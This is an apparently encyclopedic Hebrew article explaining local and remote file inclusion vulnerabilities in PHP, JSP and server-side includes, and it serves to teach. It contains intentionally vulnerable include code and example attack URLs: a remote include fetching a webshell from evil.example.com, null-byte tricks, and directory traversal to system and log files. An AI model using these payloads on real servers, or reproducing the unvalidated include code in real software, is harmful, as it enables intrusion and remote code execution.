**הכללת קבצים** (אנגלית: **File Inclusion**) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק.

הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד. 

פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון:

* מניעת שירות (Dos).
* הזרקת קוד זדוני אל היישום (XSS).
* הזרקות קוד אל שרת האינטרנט.

סוגים
-----

ישנם 2 סוגי הכללות קבצים:

* **הכללת קבצים מקומית (LFI - Local File Inclusion):** תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד.
* **הכללת קבצים מרוחקת (RFI - Remote File Inclusion):** תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי.

שימוש
-----

### PHP

בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

פונקציית **()include** מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו.

```
<?php
   if ( isset( $\_GET['language'] ) ) {
      include( $\_GET['language']. '.php' );
   }
?>

```

```
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>

```
הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה:

**הכללת קבצים מרוחקת (RFI):**

```
/vulnerable.php?language=http://evil.example.com/webshell.txt?

```
**הכללת קבצים מקומית (LFI):**

```
/vulnerable.php?language=C:\\ftp\\upload\\exploit

```
**שימוש בתו Null-Byte:** המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3).

```
/vulnerable.php?language=C:\\notes.txt%00

```
**מעבר בין ספריות (Directory Traversal):** כדי לגשת אל קובץ passwd במערכות UNIX.

```
/vulnerable.php?language=../../../../../etc/os-release%00

```

### JavaServer Pages

בדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה:

```
<%
 String p = request.getParameter("p");
 @include file="<%="includes/" + p +".jsp"%>"
%>

```
בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט.

```
/vulnerable.jsp?p=../../../../var/log/access.log%00

```

### HTML Server-Side Includes

בדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI):

```
<HTML>

<TITLE>Test File</TITLE>

<!--#include file="USER\_LANGUAGE"-->
</HTML>

```

ראו גם
------

* CSRF
* XSS
* Directory Traversal
* הזרקת SQL
*

קישורים חיצוניים
----------------

* מידע על הכללת קבצים מרוחקת באתר Owasp **(באנגלית)**

* מידע על הכללת מקומית באתר Owasp **(באנגלית)**

* מידע על הכללת קבצים מקומית באתר Acunetix **(באנגלית)**